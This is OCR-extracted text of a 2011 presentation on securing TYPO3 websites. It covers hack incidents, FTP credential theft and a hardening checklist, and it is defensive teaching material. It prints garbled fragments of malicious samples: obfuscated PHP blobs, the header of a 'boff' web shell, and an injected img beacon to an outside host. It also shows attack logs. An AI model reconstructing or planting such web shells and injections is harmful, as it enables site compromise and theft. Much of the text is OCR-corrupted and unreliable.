How to Secure
TYPO3 Installations

Jochen Weiland




April 2011

"Vlagra Hack"

= Searching for "Viagra" lists unrelated pages
In Google




Beispiel
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S.ISS

Tiiagazine

"Exclusive: Many TYPO3 Sites have been hacked"

April 27,201 1:A vulnerability in TYPO3 appararently

allows attackers to modify websites so that visitors are
directed to pharmacy sites when searching Google




July 2011

Data Theft at Retailer Chain

Message left by the attackers on homepage:

| will buy my iced tea now at somewhere else

| now have "secured" the servers :)

Hacked in 5 mins, got 2 million customer data sets,
morons

Nobody feels responsible ;)




July 2011

Data Theft at Political Party

Message left by the attackers on the server:

"A reasonably up-to-date TYPO3 version would have made
this attack impossible, an up-to-date PHP version would have
made it more difficult and having a look at Munin from time to
time would have been an advantage.

You are now facing the cost that you have saved in the past
years not updating your IT"
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www.flickr.com/photos/light_arted/3157290392/
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, okript kiddies®
" defacing websites

www.flickr.com/photos/joshuadelaughter/2878302498
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C3F-Secure forum is currently closed. - Mozilla Firefox SRR

e

File Edit ‘iesw Hetory Bookmarks Took Help

HACKED BY TURKISH NATIONALIST AND
REPUBLICAN HACKER GROUP

We are patriot, Turkish Nationalist and republican hacker group.
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Motivation:

Fun, Honor




loday:
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Organized Crime

= (oals
= Data Theft, Identity Theft, Fraud
= Method:

= Hacking Websites




Goals

= Distribute Malware

= Fraud via phishing

= Ausspahen von Daten

= Send Spam

» Attack Websites and Servers (ddos)

= Manipulate Search Results

= (Offer illegal Downloads




Is TYPO3 insecure?




Examples for malicious
Code




Code In
Index.php, index.html




<?

1VptUxs5Ev6eeqvwHRcuCXevx+AUIBRVJAI1MOgoSA
2bstkKnKNPbKtY9%94yowF82fz365Y0mrExsEA2ucOH
OpJajlgt7larx9u9znY0jQOh5/uz5s9crzkjwMOiu
DI7fn/bP11Rz7VMbx8Zx6JsRbEA/znu9EjPHCxyf
mdGso8AReTMRFhhk24wn6fA/bCTMuG6bcZ81iTPJ
FI9BtM858h3seT3IE02N4xtxjAy3m24PDvVPYBXSt
fTpf07IilygMBAUEmMEX5a0W+0bSbQMKPBnMbd/ww
DXKpVFOPJkwMBPfZwOM+FyUeiEVHK2WsOCIH1j6V
y5J/ud4d/0y923+/0/zjeIlPhe+T47NfDgx1CLdv+
V3PHtnf7u+T£f+/2jQ1Kv1ikg/doKE4yE6nm3vvaOl
QAihUyGilmlfXV1Vr5rVMJI7Y/RP7GhHrCKFJSXTm
V13hUi1UCDmgKOa61BBce6x3vH5MJhx+yuGOrHjno
M+EQXNNinlN+2aU7SgVWH3RKiVZwlwp2LWxEbLS5PR
1T1BQ12ehNbWlsYrg06JrdASMEfMYKkUekZOySREV2
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¥ Copyright notice

(c) 1999-2005 Kasper Skaarhoj (kasper¥YYYY@typo3.com)
All rights reserwved

This script i1s part of the TYPO3 project. The TYPO2 project 1s

free software; you can redistribute i1t and/or modify

1t under the terms of the GNU General Public License as published by
the Free Software Foundation; either wersion Z of the License, or
(at your option) any later wersion.

% % X ¥ O W ¥ X ¥ ¥
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* Tells WordPress to load the WordPress theme and output 1t.

*

* @var bool
k /
define "WP_USE_THEMES ', true);

f** Loads the WordPress Environment and Template */

IﬂP."H !'1. P’."ﬂ’/ ' ."l.'JP‘v—"v] .A..’\—“W.’).ﬂ."'.") " P'vl'v?'v ' \v -

»H<img heigth="1" width="1" border="8" src="http://imgddd.net/t.php?id=15254228">
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An: support@jweiland.net
Betreff: website hacked -> URGENT.
Erstellt: 28.04.2010 14:55:01

Hi,

1t seems some of our websites has been hacked (but not all of them). 2
new files has been added to root direcory:

1. main.php

2. licence.php

and index.php has been modified: line 43. @include ('licence.php'):
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Web Shell




Web Shell

<?php # Web Shell by boff
$color = "#dfS"

$default_action = ‘FilesMan’;
$default_use_ajax = true;
$default_charset = "Windows—1251";

— — - - —

- a\’e cmpL_}'\'q__n_n YLAL LI _UoLinR_~AUnivi /7 L

$userAgents = qrray(?ﬁoogle”?ifilgrp”,”MSNBot”, ‘la_archiver®, “Yandex®, ”Eqmblep“);

= - - e = . . - - . N ~~

L \’pl Cy g L\.; Iy 7 « LHIPLVUCY |y JUOCITHAYClILo /. fL g P JLBRYLB i _voLn_AJanivr 1/ L
header{ '"HTTP/1.6 464 Not Found');
exit;
@session_start();

@ini_set{ "error_log" ,NULL);
2ini_set{ ‘log _errors' ,@);
@ini_set{ ‘'max_execution_time' ,0);
Iset_time_limit(9);
@set_magic_quotes_runtime(? );
@define{ '"BOFF_VERSION', '1.9");
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666
<?php /* WARNING: This file is protected

by copyright law. To reverse englineer Or
decode this file 1s strictly prohibited.
*/

So="QAAACg070HdvdwoNKChUc2Z1lcwAAbmlgJ2Rm
a2t0CgluYScvJgAAYXJIpZHNuaGlYYn9udHNOLwAA
JWB1c2puZHVoc25gqY1UuLi1gAJ3wCJIScBgS8BkGsD
EC8JcnR1ZCsgACcJAGAuJzonYn93a2hjYi181CAAnN
JSsnBIYvL148J3Vic3J1aQBGIJy8vYWtoZnMuAS5In

LCcA900Q":

HV1id2gK418ABDIuPAONR25

gaWhlY1gG4HVYIIBmZQGwWL1NVUKIBsnRacdhgZmA
ABGS5kWHZyaHNi1dFhlcmkL4S83hAAB8SNwbmkJKHR
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How does the Code get
onto my Server?




1. FTP

61.100.6.41 D 2826 0 /muster/index.php

61.100.6.41 U 4699 0 /muster/index.php

61.100.6.41 D 82 0 /projektl/ksk/index.php

61.100.6.41 U 1955 0 /projektl/ksk/index.php

61.100.6.41 D 88 0 /projektl/schlecker/index.php

61.100.6.41 U 1961 0 /projektl/schlecker/index.php

61.100.6.41 D 149 0 /projektl/typo3conf/index.html

61.100.6.41 U 215 0 /projektl/typo3conf/index.html

61.100.6.41 D 9078 0 /projektl/typo3conf/localconf.php

61.100.6.41 U 10951 1 /projektl/typo3conf/localconf.php

61.100.6.41 D 76210 0 /projektl/typo3conf/temp CACHED psl390 ext localconf.php
61.100.6.41 U 78077 2 /projektl/typo3conf/temp CACHED psl1l390 ext localconf.php
61.100.6.41 D 61643 0 /projektl/typo3conf/temp CACHED psfa20 ext localconf.php
61.100.6.41 U 63516 1 /projektl/typo3conf/temp CACHED psfa20 ext localconf.php
61.100.6.41 D 843 0 /projektl/typo3temp/rtehtmlarea/AboutEditor compressed.js
61.100.6.41 U 930 0 /projektl/typo3temp/rtehtmlarea/AboutEditor compressed.js
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: “HAVE ALL AU
Windows 7 Pro-Ult/ XP SP3 50%

Enterprise Server 2008 SP2 50
MAC MS Office 2008 40%

Aobe Photoshop CS3 508

Nero 9 & DVD FAB 6 Plat 30%
Macromedia Studio 8

50%

www.flickr.com/photos/danielle _scott/448996535 |
www.flickr.com/photos/rolandinsh/494850383
www.flickr.com/photos/maor-x/2972220102
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g% C:\Documents and Settings\sam\Application Data\FileZilla\recentservers.xml - Notepad++

File Edit Search
o = 1=

| recentservers xml
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view

(=

Format Language Settings Macro Run TextFX Plugins

c_:; x: -—J

rrdumbsucker</Jsexr>

ass>best password in the world</

— . — — - — ' — -

<PasvMode>MODE DEFAULT</PasvlMode>

I - = sawsilee ] - 9 - s W=
<lHaXimuamriultiplelonne: ctions>0</ Maximu

Window ?

Rl s p shshal_Tlo

- .---A— -r—h-——-r‘—.-..--r'




01 Sep 09 Filed in Tips and Tricks

2009 is the year of malware attacks that use stolen FTP credentials to infect legitimate web sites.

Hundreds of thousands websites have been hacked this way and suffered from hidden iframe injections,
Gumblar, redirections to bogus anti-virus sites, etc.
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filezilla-project.org:

"It's not a bug It's a design decision.
The settings files are stored in a
directory that can only be read by your
user account and nobody else. If an
attacker can read that file he already
has full access to anything.”




FTP Configuration

t3conll B
— fileadmin woamame : (a-z, 0-9) 2-16 symbols
— _temp_ Password: (a-z, 0-9) 2-20 symbols
— templates
_ USEF‘_UplOOd Password: - S—
— _temp_ Access Path: Www ;
typo3conf Add FTP Accounts-
— typo3temp
— uploads fileadmin/user_upload/images
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2. Security Flaws

[ 26/Apr/2010:19:28:55 +0200] "GET /1 HTTP/l.8" 381 282 "-" "-"
(26/Apr/2010:19:28:55 +0200] "GET /1/ HTTP/1l.0" 403 1601 "-" "-"

[ 26/8pr/2010:19:28:56 +0200] "GET /favicon.ico HTTP/1.0" 484 8216 "-'
[ 26/8pr/2010:19:29:19 +0200] "GET /img/issi.php HTTP/1l.68" 266 359 "-'
[ 26/Apr/2010:19:35:09 +0200] "GET / HTTP/l.0" 200 3314 "-" "-"
(26/Apr/2010:19:37:16 +0200] "GET /img/issi.php HTTP/1.6" 266 359 "-'
[ 26/Apr/2010:19:37:30 +0200] "POST /img/issi.php HTTP/1.0" 200 120 "}
[ 26/8pr/2010:19:37:32 +0200] "GET /img/issi.php HTTP/1.8" 200 13838 '
26/Apr/2010:19:37:38 +0200] "POST /img/issi.php HTTP/1.90" 200 35650
26/8pr/2010:19:37:42 +0200] "POST /img/issi.php HTTP/1.8" 200 37355
26/Apr/2010:19:37:52 +0200] "GET /main.php HTTP/1.8" 2600 64 "-" "-"
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How to secure TYPO3
Installations?




Restrict Access to Files

<F1lesMatch "\.(xmllbaklsqgl Iphp4iphp5itgzigzloldltxt)">
Order Deny,Allow

Deny from all
</Fi1lesMatch>




Use Secure Passwords

= Js this a secure password?

Xt3lvM8-




Use Secure Passwords

= 9 or more characters
= Mixed upper/lowercase, special characters
= Do not use the same password everywhere

= Use a password manager

» Passwords are stored as md5 hash, but...




md>5.rednoize.com

md>0;

Ads by Google RE3D Checksum MD5 Hash Algorithm Red MD5SUM

bach98acf97e0b6112b1d1b650b8497 1) eod
MD5 SHA1

joh316
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lists.typo3.org Mailing Lists

Welcome!

Below is a listing of all the public mailing lists on lists.typo3.org. Click on a list name to get more information
about the list, or to subscribe, unsubscribe, and change the preferences on your subscription. To visit the general
information page for an unadvertised list, open a URL similar to this one, but with a '/' and the list name
appended.

List administrators, you can visit the list admin overview page to find the management interface for your list.

If you are having trouble using the lists, please contact mailman@lists.typo3.org.

List Description
FLOW3-announce FLOW3 Announcement List, readonly
FLOW3-general General discussion about FLOW3
FLOW3-team-core FLOW3 core team
T3board TYPO3 Snowboard Tour
T3dd TYPO3 Developer Days

TYPO3 Conference Information and Discussion

TYPO3 Usergroup Oesterreich
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ext: checkmysite

= Analyze index.php for malicious code
= Notify Administrator via E-Mail

= Put "Maintenance" Message on Website

= Redirect to another Site

= Available in TER




Enable features

Email to [email to]
E-mail address for notification (separate multiple addresses with comma)

alert@mydomain.com

Email from [email from]
E-mail address used as sender (please use an address from your domain, otherwise the mail may be
detected as spam)

chechmysite@mydomain.com

Content text [content text)
Enter a Text that will show instead of your homepage, if a hacking attempt is detected

Sorry, our website is down for maintenance. Please try again later!

Redirect URL [redirect url]
If you wan't to show another page, please enter the url to redirect to (startnng with "http://").

http J/backup.mydomain.com

Waiting time between e-mail [emall wait time]
set the waiting time (in seconds) between the notification e-mails.

1800
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Check List

= Keep your software up-to-date
= Browser, TYPO3, Extensions, Server

= Do not use FTP

= Do not store passwords in applications




Check List

= (reate backups (offsite storage)

= Subscribe to TYPO3-announce mailing list

= Remove software that is not needed




Questions ?




